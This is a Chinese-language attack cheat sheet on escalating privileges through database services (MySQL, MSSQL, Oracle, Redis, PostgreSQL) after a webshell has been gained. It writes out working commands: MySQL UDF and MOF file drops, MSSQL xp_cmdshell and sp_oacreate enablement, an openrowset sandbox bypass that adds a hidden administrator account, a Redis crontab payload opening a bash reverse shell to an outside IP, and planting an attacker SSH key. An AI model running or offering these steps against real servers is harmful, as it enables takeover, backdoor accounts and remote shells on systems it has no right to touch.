在利用系统溢出漏洞无果的情况下,可以采用数据库进行提权

提权流程:

服务探针—>信息收集(最高权限密码)—>数据库利用(数据库分类利用)

数据库提权前提:

除Access数据库外,其他数据库基本都存在数据库提权的可能,且提权条件如下:
①服务器开启数据库服务
②获取到最高权限用户密码

数据库提权须知:

数据库应用提权在权限提升中的意义:

在利用系统溢出漏洞无果的情况下,可以采用数据库进行提权.

WEB或本地环境如何探针数据库应用:

①端口扫描
②探测服务(使用命令启动服务来进行探测)
③其他(查看文件目录确认数据库的安装与否、查看一些相关配置文件等)

信息搜集-如何搜集数据库最高权限密码:

①配置文件
②存储文件
③暴力破解
④其他方式

各类数据库提权方式:

MySQL(3306):

  • 通过查找sql、database、connect、include、config、inc、conn等关键字来获取最高权限用户(root)密码
  • 读取数据库存储或备份文件,比如mysql.user表,这个文件里就存储着用户账号密码信息

    ①UDF(基于MySQL调用命令执行函数):

    ->首先在数据库执行操作位置(大马)使用select version()得出mysql数据库版本,用select @@basedir得出mysql数据库的安装目录
    ->其次手工创建plugin目录或利用NTFS流创建select 'x' into dumpfile '目录/lib/plugin::INDEX_ALLOCATION';
    ->最后需要注意在知道导出目录(即自己创建的/plugin)以后,就要将dll文件进行导出,就导出到plugin目录,这里根据mysql的版本导出目录略有不同
    1. mysql<5.1 导出目录:c:/windowssystem32
    2. mysql>=5.1 导出安装目录 /lib/plugin/

    ②MOF(成功率很低):

    mof文件是windows的一个特殊文件,系统每隔5秒就会监控系统自己的mof文件并以system权限进行执行。
    ->首先在利用大马拿下webshell后,在服务器本地创建一个mof文件
    ->其次利用select语句select load_file('c:/...../自己创建的mof文件') into dumpfile 'c:windows/system32/wbem/mof/nullevt.mog';,将自己创建的mof文件更换成系统自己的mof文件
    ->最后静等5s执行即可

    ③启动项(基于配合操作系统自启动):

    ->导出自定义可执行文件到启动目录配合重启执行
    ->将创建好的后门或执行文件进行服务器启动项写入,配合重启执行

    ④反弹shell(基于利用反弹特性命令执行):

    nc -l -p 9999

    MSSQL(1433):

    MSSQL数据库的最高权限账户是sa账户,它与MySQL的另一不同之处还有sa权限账户默认支持外联。

    ①xp_cmdshell脚本:

    xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后默认是关闭的。如果用户拥有sa权限则可以用sp_configure重新开启它。
    启用:
    1. exec sp_configure 'show advanced options', 1;reconfigure;
    2. exec sp_configure 'xp_cmdshell',1;reconfigure;
    关闭:
    1. exec sp_configure 'show advanced options', 1;reconfigure;
    2. exec sp_configure 'xp_cmdshell', 0;reconfigure
    执行:
    1. EXEC master.dbo.xp_cmdshell '命令'

    ②sp_oacreate脚本:

    主要是用来调用OLE对象,利用OLE对象的run方法执行系统命令。
    启用:
    1. EXEC sp_configure 'show advanced options', 1;
    2. RECONFIGURE WITH OVERRIDE;
    3. EXEC sp_configure 'Ole Automation Procedures', 1;
    4. RECONFIGURE WITH OVERRIDE;
    关闭:
    1. EXEC sp_configure 'show advanced options', 1;
    2. RECONFIGURE WITH OVERRIDE;
    3. EXEC sp_configure 'Ole Automation Procedures', 0;
    4. RECONFIGURE WITH OVERRIDE;
    执行:
    1. declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c 命令 >c:\\output.txt'

    ③沙盒提权(上面两种行不通时就用这个方式):

    ``` exec sp_configure ‘show advanced options’,1;reconfigure; exec sp_configure ‘Ad Hoc Distributed Queries’,1;reconfigure; —关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。 exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Jet\4.0\Engines’,’SandBoxMode’,’REG_DWORD’,0; —查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。 exec master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Jet\4.0\Engines’,’SandBoxMode’; —执行系统命令 select from openrowset(‘microsoft.jet.oledb.4.0’,’;database=c:/windows/system32/ias/ias.mdb’,’select shell(“net user qianxun 123456 /add”)’) select from openrowset(‘microsoft.jet.oledb.4.0’,’;database=c:/windows/system32/ias/ias.mdb’,’select shell(“net localgroup administrators qianxun /add”)’)

— 恢复配置 exec master..xp_regwrite ‘HKEY_LOCALMACHINE’,’SOFTWARE\Microsoft\Jet\4.0\Engines’,’SandBoxMode’,’REG_DWORD’,1; exec sp_configure ‘Ad Hoc Distributed Queries’,0;reconfigure; exec sp_configure ‘show advanced options’,0;reconfigure;

  1. ```
  2. 沙盒模式SandBoxMode参数含义(默认是2)
  3. 0:在任何所有者中禁止启用安全模式
  4. 1 :为仅在允许范围内
  5. 2 :必须在access模式下
  6. 3:完全开启
  7. openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。

Oracle(1521):(直接采用自动化工具)

经常是Java或Jsp开发环境使用Oracle数据库,这里有个特性,jsp网站有后门权限的话不需要提权,自带system。(网站权限即系统权限)

①普通用户模式

②DBA用户模式

③注入提升模式:

拥有一个oracle注入点,可以通过注入点直接执行系统命令,此种模式没有实现回显,需要自己验证。

Redis(6379):

该数据库的漏洞成因时安全配置问题,不是数据库本身有漏洞

①利用计划任务执行命令反弹shell(主要使用的):

利用redis未授权漏洞或者密码登陆root权限数据库,在redis以root权限运行时可以写crontab来执行命令反弹shell

  1. set x "\n* * * * * bash -i >& /dev/tcp/192.168.99.121/4444 0>&1\n"
  2. config set dir /var/spool/cron/
  3. config set dbfilename root
  4. save

image.png

②写ssh-keygen公钥使用私钥登陆

参考链接:https://blog.csdn.net/weixin_45253622/article/details/122115503
利用原理:

  • 利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接使用对应的私钥登录目标服务器。

利用前提条件:

  • Redis服务器使用root账号登陆
  • 服务器开放了ssh服务,而且允许使用密钥登陆,即可远程写入一个公钥,在直接远程登陆服务器(攻击机的公钥文件写到目标服务器上,然后攻击机直接ssh连接目标服务器)

    ③低权限写webshell

    Postgresql(5432):

    高权限用户是postgres

    ①CVE-2018-1058

    ②CVE-2019-9193